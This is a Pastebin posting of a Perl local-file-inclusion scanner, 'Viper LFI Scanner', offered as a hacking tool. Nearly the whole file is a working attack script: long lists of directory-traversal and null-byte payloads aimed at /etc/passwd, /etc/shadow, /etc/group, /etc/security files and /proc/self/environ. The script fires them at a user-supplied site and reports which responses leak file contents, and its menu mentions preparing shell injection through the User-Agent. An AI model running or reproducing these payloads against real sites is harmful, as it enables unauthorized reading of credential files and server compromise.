parkdream1

scanlfi.pl

Mar 31st, 2012
334
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 11.76 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. #               ////////////////////////////////////
  4. #                   Viper LFI Scanner Ver. 4.0
  5. #               ////////////////////////////////////
  6. #
  7. #   Title : Viper Lfi Scanner Ver. 4.0
  8. #   Author: Bl4ck.Viper
  9. #   From : Azarbycan
  10. #   Date : 2011/07/06
  11. #   Category : Scanner
  12. #   Home : www.Skote-vahshat.com
  13. #  
  14. #
  15. #   Description :Log , Environ , Passwd File Scanner ,& new method for bypass passwd
  16. #                              
  17. #  
  18. #*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  19.  
  20.     use HTTP::Request;
  21.     use LWP::UserAgent;
  22. system ("cls");
  23. print "\t\t/////////////////////////////////////////////////\n";    
  24. print "\t\t_________________________________________________\n";
  25. print "\t\t\t Viper LFI Scanner Ver. 3.0\n";
  26. print "\t\t\t Coded By Bl4ck.Viper\n";
  27. print "\t\t\t Made In Azarbycan\n";
  28. print "\t\t\t Version In English\n";
  29. print "\t\t_________________________________________________\n";
  30. print "\n\n";
  31. sleep (1);
  32. print "\t\t\t\t WELCOME\n";
  33. print "\n\n";
  34. menu:;
  35. print "\tMenu:\n";
  36. print "\t ID[1]=>Passwd,Log";
  37. print "\t[Scan Files Of /etc/ Directory]\n";
  38. print "\t ID[2]=>Environ";
  39. print "\t\t[Scan Environ File For Inject Shell By U-Agent]\n";
  40. print"\n";
  41. print "\t\t Select ID For Start Scanner :";
  42. $menu = <>;
  43. if ($menu =~ /1/){
  44.     goto lfi;
  45.     }
  46.     if ($menu =~ /2/){
  47.         goto env;
  48.     }
  49.     else {
  50.         print"\n\n";
  51.         print "\t\tUnknow Command\n";
  52.         goto menu;
  53.     };
  54.  
  55.  
  56. lfi:;
  57.     print "\n\n";
  58.     print "\t\t\tWelcome To /etc/ Section With New Method\n\n";
  59.     print "\t Insert Target (ex: http://www.site.com/index.php?page=)\n";
  60.     print "\t Target :";
  61.     $host=<STDIN>;
  62.     chomp($host);
  63.     if($host !~ /http:\/\//) { $host = "http://$host"; };
  64.  
  65. print "\n\n";
  66. print "\t\t*-*-*-*-*-* WORKING IN PROGRESS *-*-*-*-*-*\n";
  67. print "\n\n";
  68. @lfi = ('../etc/passwd',
  69. '../../etc/passwd',
  70. '../../../etc/passwd',
  71. '../../../../etc/passwd',
  72. '../../../../../etc/passwd',
  73. '../../../../../../etc/passwd',
  74. '../../../../../../../etc/passwd',
  75. '../../../../../../../../etc/passwd',
  76. '../../../../../../../../../etc/passwd',
  77. '../../../../../../../../../../etc/passwd',
  78. '../../../../../../../../../../../etc/passwd',
  79. '../../../../../../../../../../../../etc/passwd',
  80. '../../../../../../../../../../../../../etc/passwd',
  81. '../../../../../../../../../../../../../../etc/passwd',
  82. '../../../../../../../../../../../../../../../../etc/passwd',
  83. '....//etc/passwd',
  84. '....//....//etc/passwd',
  85. '....//....//....//etc/passwd',
  86. '....//....//....//....//etc/passwd',
  87. '....//....//....//....//....//etc/passwd',
  88. '....//....//....//....//....//....//etc/passwd',
  89. '....//....//....//....//....//....//....//etc/passwd',
  90. '....//....//....//....//....//....//....//....//etc/passwd',
  91. '....//....//....//....//....//....//....//....//....//etc/passwd',
  92. '....//....//....//....//....//....//....//....//....//....//etc/passwd',
  93. '../../etc/passwd%00',
  94. '../../../etc/passwd%00',
  95. '../../../../etc/passwd%00',
  96. '../../../../../etc/passwd%00',
  97. '../../../../../../etc/passwd%00',
  98. '../../../../../../../etc/passwd%00',
  99. '../../../../../../../../etc/passwd%00',
  100. '../../../../../../../../../etc/passwd%00',
  101. '../../../../../../../../../../etc/passwd%00',
  102. '../../../../../../../../../../../etc/passwd%00',
  103. '../../../../../../../../../../../../etc/passwd%00',
  104. '../../../../../../../../../../../../../etc/passwd%00',
  105. '../../../../../../../../../../../../../../etc/passwd%00',
  106. '../../../../../../../../../../../../../../../../etc/passwd%00',
  107. '....//etc/passwd%00',
  108. '....//....//etc/passwd%00',
  109. '....//....//....//etc/passwd%00',
  110. '....//....//....//....//etc/passwd%00',
  111. '....//....//....//....//....//etc/passwd%00',
  112. '....//....//....//....//....//....//etc/passwd%00',
  113. '....//....//....//....//....//....//....//etc/passwd%00',
  114. '....//....//....//....//....//....//....//....//etc/passwd%00',
  115. '....//....//....//....//....//....//....//....//....//etc/passwd%00',
  116. '....//....//....//....//....//....//....//....//....//....//etc/passwd%00',
  117. '../etc/shadow',
  118. '../../etc/shadow',
  119. '../../../etc/shadow',
  120. '../../../../etc/shadow',
  121. '../../../../../etc/shadow',
  122. '../../../../../../etc/shadow',
  123. '../../../../../../../etc/shadow',
  124. '../../../../../../../../etc/shadow',
  125. '../../../../../../../../../etc/shadow',
  126. '../../../../../../../../../../etc/shadow',
  127. '../../../../../../../../../../../etc/shadow',
  128. '../../../../../../../../../../../../etc/shadow',
  129. '../../../../../../../../../../../../../etc/shadow',
  130. '../../../../../../../../../../../../../../etc/shadow',
  131. '../etc/shadow%00',
  132. '../../etc/shadow%00',
  133. '../../../etc/shadow%00',
  134. '../../../../etc/shadow%00',
  135. '../../../../../etc/shadow%00',
  136. '../../../../../../etc/shadow%00',
  137. '../../../../../../../etc/shadow%00',
  138. '../../../../../../../../etc/shadow%00',
  139. '../../../../../../../../../etc/shadow%00',
  140. '../../../../../../../../../../etc/shadow%00',
  141. '../../../../../../../../../../../etc/shadow%00',
  142. '../../../../../../../../../../../../etc/shadow%00',
  143. '../../../../../../../../../../../../../etc/shadow%00',
  144. '../../../../../../../../../../../../../../etc/shadow%00',
  145. '../etc/group',
  146. '../../etc/group',
  147. '../../../etc/group',
  148. '../../../../etc/group',
  149. '../../../../../etc/group',
  150. '../../../../../../etc/group',
  151. '../../../../../../../etc/group',
  152. '../../../../../../../../etc/group',
  153. '../../../../../../../../../etc/group',
  154. '../../../../../../../../../../etc/group',
  155. '../../../../../../../../../../../etc/group',
  156. '../../../../../../../../../../../../etc/group',
  157. '../../../../../../../../../../../../../etc/group',
  158. '../../../../../../../../../../../../../../etc/group',
  159. '../etc/group%00',
  160. '../../etc/group%00',
  161. '../../../etc/group%00',
  162. '../../../../etc/group%00',
  163. '../../../../../etc/group%00',
  164. '../../../../../../etc/group%00',
  165. '../../../../../../../etc/group%00',
  166. '../../../../../../../../etc/group%00',
  167. '../../../../../../../../../etc/group%00',
  168. '../../../../../../../../../../etc/group%00',
  169. '../../../../../../../../../../../etc/group%00',
  170. '../../../../../../../../../../../../etc/group%00',
  171. '../../../../../../../../../../../../../etc/group%00',
  172. '../../../../../../../../../../../../../../etc/group%00',
  173. '../etc/security/group',
  174. '../../etc/security/group',
  175. '../../../etc/security/group',
  176. '../../../../etc/security/group',
  177. '../../../../../etc/security/group',
  178. '../../../../../../etc/security/group',
  179. '../../../../../../../etc/security/group',
  180. '../../../../../../../../etc/security/group',
  181. '../../../../../../../../../etc/security/group',
  182. '../../../../../../../../../../etc/security/group',
  183. '../../../../../../../../../../../etc/security/group',
  184. '../etc/security/group%00',
  185. '../../etc/security/group%00',
  186. '../../../etc/security/group%00',
  187. '../../../../etc/security/group%00',
  188. '../../../../../etc/security/group%00',
  189. '../../../../../../etc/security/group%00',
  190. '../../../../../../../etc/security/group%00',
  191. '../../../../../../../../etc/security/group%00',
  192. '../../../../../../../../../etc/security/group%00',
  193. '../../../../../../../../../../etc/security/group%00',
  194. '../../../../../../../../../../../etc/security/group%00',
  195. '../etc/security/passwd',
  196. '../../etc/security/passwd',
  197. '../../../etc/security/passwd',
  198. '../../../../etc/security/passwd',
  199. '../../../../../etc/security/passwd',
  200. '../../../../../../etc/security/passwd',
  201. '../../../../../../../etc/security/passwd',
  202. '../../../../../../../../etc/security/passwd',
  203. '../../../../../../../../../etc/security/passwd',
  204. '../../../../../../../../../../etc/security/passwd',
  205. '../../../../../../../../../../../etc/security/passwd',
  206. '../../../../../../../../../../../../etc/security/passwd',
  207. '../../../../../../../../../../../../../etc/security/passwd',
  208. '../../../../../../../../../../../../../../etc/security/passwd',
  209. '../etc/security/passwd%00',
  210. '../../etc/security/passwd%00',
  211. '../../../etc/security/passwd%00',
  212. '../../../../etc/security/passwd%00',
  213. '../../../../../etc/security/passwd%00',
  214. '../../../../../../etc/security/passwd%00',
  215. '../../../../../../../etc/security/passwd%00',
  216. '../../../../../../../../etc/security/passwd%00',
  217. '../../../../../../../../../etc/security/passwd%00',
  218. '../../../../../../../../../../etc/security/passwd%00',
  219. '../../../../../../../../../../../etc/security/passwd%00',
  220. '../../../../../../../../../../../../etc/security/passwd%00',
  221. '../../../../../../../../../../../../../etc/security/passwd%00',
  222. '../../../../../../../../../../../../../../etc/security/passwd%00',
  223. '../etc/security/user',
  224. '../../etc/security/user',
  225. '../../../etc/security/user',
  226. '../../../../etc/security/user',
  227. '../../../../../etc/security/user',
  228. '../../../../../../etc/security/user',
  229. '../../../../../../../etc/security/user',
  230. '../../../../../../../../etc/security/user',
  231. '../../../../../../../../../etc/security/user',
  232. '../../../../../../../../../../etc/security/user',
  233. '../../../../../../../../../../../etc/security/user',
  234. '../../../../../../../../../../../../etc/security/user',
  235. '../../../../../../../../../../../../../etc/security/user',
  236. '../etc/security/user%00',
  237. '../../etc/security/user%00',
  238. '../../../etc/security/user%00',
  239. '../../../../etc/security/user%00',
  240. '../../../../../etc/security/user%00',
  241. '../../../../../../etc/security/user%00',
  242. '../../../../../../../etc/security/user%00',
  243. '../../../../../../../../etc/security/user%00',
  244. '../../../../../../../../../etc/security/user%00',
  245. '../../../../../../../../../../etc/security/user%00',
  246. '../../../../../../../../../../../etc/security/user%00',
  247. '../../../../../../../../../../../../etc/security/user%00',
  248. '../../../../../../../../../../../../../etc/security/user%00');
  249.  
  250.  
  251. foreach $scan(@lfi){
  252.  
  253. $url = $host.$scan;
  254. $request = HTTP::Request->new(GET=>$url);
  255. $useragent = LWP::UserAgent->new();
  256.  
  257. $response = $useragent->request($request);
  258. if ($response->is_success && $response->content =~ /root:x:/) { $msg = Vulnerability;}
  259. else { $msg = "Not Found";}
  260. print "$scan..........[$msg]\n";
  261. }
  262. env:;
  263.     print "\n\n";
  264.     print "\t\t\tWelcom To Environ Section\n\n";
  265.     print "\t Insert Target (ex: http://www.site.com/index.php?page=)\n";
  266.     print "\t Target :";
  267.     $host=<STDIN>;
  268.     chomp($host);
  269.     if($host !~ /http:\/\//) { $host = "http://$host"; };
  270.  
  271. print "\n\n";
  272. print "\t\t*-*-*-*-*-* WORKING IN PROGRESS *-*-*-*-*-*\n";
  273. print "\n\n";
  274.  
  275. @env = ('../proc/self/environ',
  276. '../../proc/self/environ',
  277. '../../../proc/self/environ',
  278. '../../../../proc/self/environ',
  279. '../../../../../proc/self/environ',
  280. '../../../../../../proc/self/environ',
  281. '../../../../../../../proc/self/environ',
  282. '../../../../../../../../proc/self/environ',
  283. '../../../../../../../../../proc/self/environ',
  284. '../../../../../../../../../../proc/self/environ',
  285. '../../../../../../../../../../../proc/self/environ',
  286. '../../../../../../../../../../../../proc/self/environ',
  287. '../../../../../../../../../../../../../proc/self/environ',
  288. '../../../../../../../../../../../../../../proc/self/environ',
  289. '../proc/self/environ%00',
  290. '../../proc/self/environ%00',
  291. '../../../proc/self/environ%00',
  292. '../../../../proc/self/environ%00',
  293. '../../../../../proc/self/environ%00',
  294. '../../../../../../proc/self/environ%00',
  295. '../../../../../../../proc/self/environ%00',
  296. '../../../../../../../../proc/self/environ%00',
  297. '../../../../../../../../../proc/self/environ%00',
  298. '../../../../../../../../../../proc/self/environ%00',
  299. '../../../../../../../../../../../proc/self/environ%00',
  300. '../../../../../../../../../../../../proc/self/environ%00',
  301. '../../../../../../../../../../../../../proc/self/environ%00',
  302. '../../../../../../../../../../../../../../proc/self/environ%00');
  303.  
  304. foreach $scan_env(@env){
  305.  
  306. $url = $host.$scan_env;
  307. $request = HTTP::Request->new(GET=>$url);
  308. $useragent = LWP::UserAgent->new();
  309.  
  310. $response = $useragent->request($request);
  311. if ($response->is_success && $response->content =~ /HTTP_ACCEPT/ && $response->content =~ /HTTP_HOST/) { $msg = Vulnerability;}
  312. else { $msg = "Not Found";}
  313. print "$scan_env..........[$msg]\n";
  314. }
Advertisement
Add Comment
Please, Sign In to add comment